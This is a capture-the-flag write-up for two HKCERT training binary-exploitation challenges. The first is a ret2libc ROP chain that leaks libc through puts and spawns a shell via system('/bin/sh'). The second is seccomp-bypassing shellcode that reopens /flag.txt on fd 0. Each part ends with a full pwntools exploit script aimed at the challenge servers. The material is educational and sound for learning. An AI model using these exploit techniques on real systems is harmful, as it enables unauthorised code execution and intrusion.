# hkcert - training
## rop
### 1. Analysis
Use ```checksec``` to check the protection

Here we can see only he Non executable stack protection (NX) is enabled which means we can not directly execute the shellcode in stack
### 2. Disassembly the binary file
Use software to disassembly the binary file such as ida / Ghidra.
My option is Ghidra.
After the analyis the binary in Ghidra, we find the main function from entry point and decomplie the main function


If you are a pwn player, you would instantly find that there has a very vulnerable function ```gets``` used in the program
```gets``` is vulnerable because the user can input any length of data. It may cause a vulnerability called Buffer overflow.
If we can overflow the data to control the program return addres, we can control execution flow of this program.
Remember the protection we have checked before. This program has not opened PIE. Therefore, we can directly find the function address in the program.
### 3. Find the offset to overflow
Let's debug it using GDB
First we can randomly fill some data in the program.
Here I fill 'A' * 100 into the program.

The program will have the SIGSEGV and stopped
We can see that in rsp we still have a lot of "A" which means we successfully can use the buffer overflow to overwrite the return address.
After a few testing, we can find that the offset before the return address is 56.
### 4. Leak libc address
If we use ```ldd``` to check, it shows this binary is linked to the libc

Which means if we can leak address of the linked libc, we can execute the function within the libc through overwrite the return address.
We can build a rop chain to leak the libc address
First, we can use ```ROPgadget``` to find our needed gadget

Here we use pwntools to do our exploit:
```python=
offset = 56
payload = b'A' * offset
payload += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main)
p.sendlineafter("input", payload)
```
This rop chain will let program output the puts address in libc and return to main function again.

We get the byte ```\x10 \x8\x7f```
which is the puts function address in libc
Then we can add some code with pwntools to convert it to be the readable number and calculate to libc base address.
```python=
p.recvline()
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.symbols['puts']
info(f"libc_base: {hex(libc_base)}")
```
### 5. ret2libc
After we return to the main function again and get the libc base address.
We can control the program call system("/bin/sh") to get the shell
```python=
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = b'A' * offset
payload += p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
p.sendlineafter("input", payload)
```
### 6. Get flag

### 7. Full exploit
```python=
from pwn import *
TARGET = './rop'
HOST = 'chal.training.hkcert21.pwnable.hk'
PORT = 6006
elf = ELF(TARGET)
# p = process(TARGET)
p = remote(HOST, PORT)
libc = ELF('./libc-2.31.so')
#---
main = 0x004005b7
pop_rdi = 0x0000000000400673
ret = 0x000000000040048e
offset = 56
payload = b'A' * offset
payload += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main)
p.sendlineafter("input", payload)
p.recvline()
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.symbols['puts']
info(f"libc_base: {hex(libc_base)}")
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = b'A' * offset
payload += p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
p.sendlineafter("input", payload)
p.interactive()
```
## fail of seccomp
### 1. Analysis
The challenge provide the c soruce code file to us, so we no need to use the decomplier.
After reading the source code. We can find that the program has protected by seccomp. Seccomp allowed the programe to call the predetermined syscall which we can find in ```set_seccomp``` function.
```c=
void setup_seccomp() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);
int ret = 0;
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 1, SCMP_A0(SCMP_CMP_EQ, 1));
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 1, SCMP_A0(SCMP_CMP_EQ, 0));
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mmap), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
ret |= seccomp_load(ctx);
if (ret) {
exit(1);
}
}
```
And other important thing is the program will read our input into a executable memory region and execute our input as shellcode.
### 2. Exploit
I noticed that this program allow us to call ```open```, ```read``` and ```write```
We can build the shellcode be like:
```c=
fd = open("./flag.txt", 0);
read(fd, buf, 100);
write(1, buf, 100);
```
We can get our flag now right?
But the seccomp_rule only allow us to use 0 as the first arugment in read.
However, we can close the fd 0 first and call open("./flag.txt", 0)
The fd will become 0. We can use ```read(0, buf, 100);``` to read the content of the flag now!
In the final exploit, I chose rsp to be the buffer space.
### 3. Full exploit
```python=
from pwn import *
TARGET = './chall'
HOST = 'chal.training.hkcert21.pwnable.hk'
PORT = 6008
context.arch = 'amd64'
elf = ELF(TARGET)
p = remote(HOST, PORT)
shellcode = ''
shellcode += shellcraft.close(0)
shellcode += shellcraft.open('/flag.txt', 0)
shellcode += shellcraft.read(0, 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
payload = asm(shellcode)
p.sendlineafter("Give me your shellcode (max: 4096):", payload)
p.interactive()
```